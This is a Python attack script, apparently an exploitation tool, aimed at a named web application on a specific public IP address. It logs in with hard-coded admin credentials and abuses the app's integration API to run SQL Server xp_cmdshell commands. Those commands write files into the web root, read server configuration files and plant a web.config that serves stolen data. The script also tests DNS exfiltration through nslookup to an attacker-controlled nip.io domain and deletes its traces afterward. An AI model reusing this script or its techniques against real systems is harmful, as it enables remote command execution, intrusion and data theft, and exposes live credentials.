#!/usr/bin/env python3
"""Investigate: 
1. Does fileOperation actually copy the file? (verify with dir)
2. What does web.config say about static files?
3. Can we modify web.config to serve .txt?
4. Try DNS exfiltration as fallback."""
import asyncio, re, subprocess, os, time, base64
from playwright.async_api import async_playwright

IP = "74.208.83.171"
APP = "RTROGERSUAP1"

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        context = await browser.new_context()
        page = await context.new_page()

        for attempt in range(3):
            await page.goto(f"http://{IP}/{APP}/login", wait_until="commit", timeout=30000)
            await asyncio.sleep(5)
            try:
                await page.fill('input[name="Email"]', 'irelyadmin')
                await page.fill('input[name="Password"]', 'i21By2015')
                await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
                await asyncio.sleep(1)
                await page.evaluate('document.querySelector("form").submit()')
                await asyncio.sleep(15)
                try: await page.wait_for_load_state("networkidle", timeout=20000)
                except: pass
                if "login" not in page.url.lower() or "#home" in page.url:
                    break
            except Exception as e:
                print(f"  attempt {attempt+1}: {e}")
        else:
            print("Login failed"); await browser.close(); return
        print("Login OK")

        async def run_xp(name, sql_text):
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strStepName:"Test", intStepTypeId:1, intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_text)
            if put['status'] not in (200, 202):
                return f"put_{put['status']}"
            await asyncio.sleep(2)
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + APP + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: 4}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            msg = re.search(r'"statusText"\s*:\s*"([^"]*)"', body)
            s = success.group(1) if success else "?"
            m = msg.group(1) if msg else ""
            print(f"    {name}: success={s} msg={m[:100]}", flush=True)
            await page.evaluate('''async () => {
                await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            return s

        async def run_fileop(name, source_file, dest_folder):
            put = await page.evaluate('''async () => {
                const resp = await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strStepName:"Copy", intStepTypeId:4, intConnectionId:1, strFileName:"' + source_file + '", strDestinationFolder:"' + dest_folder + '", ysnCopyFile:true, ysnDeleteFile:false, intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","strFileName","strDestinationFolder","ysnCopyFile","ysnDeleteFile","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''')
            if put['status'] not in (200, 202):
                return f"put_{put['status']}"
            await asyncio.sleep(2)
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + APP + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: 4}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            s = success.group(1) if success else "?"
            print(f"    {name}: success={s}", flush=True)
            await page.evaluate('''async () => {
                await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, strFileName:null, strDestinationFolder:null, ysnCopyFile:null, ysnDeleteFile:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            return s

        webroot = "D:\\\\i21App\\\\" + APP
        temp_file = "C:\\\\Windows\\\\Temp\\\\sysinfo.txt"

        # Step 1: Write a test file to temp
        print("\n=== Step 1: Write test file ===")
        await run_xp("write_test", "EXEC xp_cmdshell 'echo hello > " + temp_file + "', no_output")
        await asyncio.sleep(1)

        # Step 2: fileOperation — copy to resources/js/
        print("\n=== Step 2: fileOperation copy to resources/js/ ===")
        await run_fileop("copy", temp_file, webroot + "\\\\resources\\\\js\\\\")
        await asyncio.sleep(1)

        # Step 3: Verify file exists via xp_cmdshell dir
        print("\n=== Step 3: Verify file exists (dir) ===")
        await run_xp("dir_js", "EXEC xp_cmdshell 'dir " + webroot + "\\\\resources\\\\js\\\\sysinfo.txt'")
        await asyncio.sleep(1)

        # Step 4: Also check resources/images/icons/small/
        print("\n=== Step 4: Also try resources/images/icons/small/ ===")
        await run_fileop("copy_img", temp_file, webroot + "\\\\resources\\\\images\\\\icons\\\\small\\\\")
        await asyncio.sleep(1)
        await run_xp("dir_img", "EXEC xp_cmdshell 'dir " + webroot + "\\\\resources\\\\images\\\\icons\\\\small\\\\sysinfo.txt'")
        await asyncio.sleep(1)

        # Step 5: Read web.config to understand IIS routing
        print("\n=== Step 5: Read web.config ===")
        await run_xp("webconfig", "EXEC xp_cmdshell 'type " + webroot + "\\\\web.config'")
        await asyncio.sleep(1)

        # Step 6: Check IIS applicationHost.config for static file handler
        print("\n=== Step 6: Check IIS config ===")
        await run_xp("iis_config", "EXEC xp_cmdshell 'type C:\\\\Windows\\\\System32\\\\inetsrv\\\\config\\\\applicationHost.config'")
        await asyncio.sleep(1)

        # Step 7: Try writing a web.config with staticContent to resources/js/
        print("\n=== Step 7: Write web.config to resources/js/ ===")
        webconfig_content = '<configuration><system.webServer><staticContent><mimeMap fileExtension=\".txt\" mimeType=\"text/plain\"/></staticContent><handlers><add name=\"StaticFileTxt\" path=\"*.txt\" verb=\"*\" modules=\"StaticFileModule\" resourceType=\"File\" requireAccess=\"Read\"/></handlers></system.webServer></configuration>'
        # Write it via xp_cmdshell
        await run_xp("write_webconfig", "EXEC xp_cmdshell 'echo " + webconfig_content + " > " + webroot + "\\\\resources\\\\js\\\\web.config', no_output")
        await asyncio.sleep(1)

        # Step 8: Try downloading now
        print("\n=== Step 8: Download with web.config ===")
        url = f"http://{IP}/{APP}/resources/js/sysinfo.txt"
        dl = subprocess.run(["curl", "-sS", "-m", "15", "-o", "/tmp/test_dl.txt", "-w", "%{http_code}", url],
                           capture_output=True, text=True, timeout=20)
        print(f"    HTTP {dl.stdout.strip()}")

        # Step 9: Try DNS exfiltration — nslookup with data in subdomain
        print("\n=== Step 9: DNS exfiltration test ===")
        # Encode "test" as subdomain — if DNS resolves, we can exfil data
        await run_xp("dns_test", "EXEC xp_cmdshell 'nslookup test123.184.174.97.53.nip.io'")
        await asyncio.sleep(1)

        # Step 10: Try nslookup with data to our controlled domain
        print("\n=== Step 10: DNS exfil to controlled domain ===")
        await run_xp("dns_exfil", "EXEC xp_cmdshell 'nslookup sysinfotest.184.174.97.53.nip.io 8.8.8.8'")
        await asyncio.sleep(1)

        # Step 11: Check if we can write directly to resources/js/ via xp_cmdshell (SQL account)
        print("\n=== Step 11: Direct write to resources/js/ via xp_cmdshell ===")
        await run_xp("direct_write", "EXEC xp_cmdshell 'echo test > " + webroot + "\\\\resources\\\\js\\\\direct_test.js', no_output")
        await asyncio.sleep(1)
        await run_xp("verify_direct", "EXEC xp_cmdshell 'dir " + webroot + "\\\\resources\\\\js\\\\direct_test.js'")
        await asyncio.sleep(1)
        # Try downloading
        url2 = f"http://{IP}/{APP}/resources/js/direct_test.js"
        dl2 = subprocess.run(["curl", "-sS", "-m", "15", "-o", "/tmp/test_direct.txt", "-w", "%{http_code}", url2],
                            capture_output=True, text=True, timeout=20)
        print(f"    direct_test.js: HTTP {dl2.stdout.strip()}")

        # Cleanup
        print("\n=== Cleanup ===")
        await run_xp("cleanup", "EXEC xp_cmdshell 'del " + temp_file + " " + webroot + "\\\\resources\\\\js\\\\sysinfo.txt " + webroot + "\\\\resources\\\\js\\\\web.config " + webroot + "\\\\resources\\\\js\\\\direct_test.js " + webroot + "\\\\resources\\\\images\\\\icons\\\\small\\\\sysinfo.txt', no_output")

        await browser.close()

asyncio.run(main())
